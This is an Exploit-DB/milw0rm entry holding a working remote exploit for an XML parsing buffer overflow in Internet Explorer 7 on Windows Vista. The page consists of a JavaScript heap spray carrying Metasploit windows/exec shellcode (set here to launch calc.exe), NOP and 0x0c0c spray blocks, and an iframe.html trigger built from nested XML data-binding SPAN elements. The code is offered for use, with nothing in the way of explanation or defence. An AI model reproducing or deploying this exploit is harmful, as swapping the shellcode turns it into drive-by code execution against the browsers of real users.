Microsoft Internet Explorer (Windows Vista) - XML Parsing Buffer Overflow

EDB-ID:

7410

Author:

muts

Type:

remote

Platform:

Windows

Published:

2008-12-10

<html>
<script>

	// k`sOSe 12/10/2008
	// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
 	// Heap spray address adjusted for Vista - muts / offensive-security.com
	// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
	// http://www.offensive-security.com/0day/iesploit-vista.rar
	// windows/exec - 141 bytes
	// http://www.metasploit.com                                                                    
	// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe    
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
  	var block = unescape("%u0c0c%u0c0c");
	var nops = unescape("%u9090%u9090%u9090");


	while (block.length < 81920) block += block;
	var memory = new Array();
	var i=0;
	for (;i<1000;i++) memory[i] += (block + nops + shellcode);

	document.write("<iframe src=\"iframe.html\">");

</script>


</html>


<!-- iframe.html

<XML ID=I>
	<X>
		<C>
			<![CDATA[
				<image 
					SRC=http://&#3084;&#3084;.xxxxx.org			
				>
			 ]]>
			
		</C>
	</X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	<XML ID=I>
	</XML>

	<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	</SPAN>
</SPAN>

-->

# milw0rm.com [2008-12-10]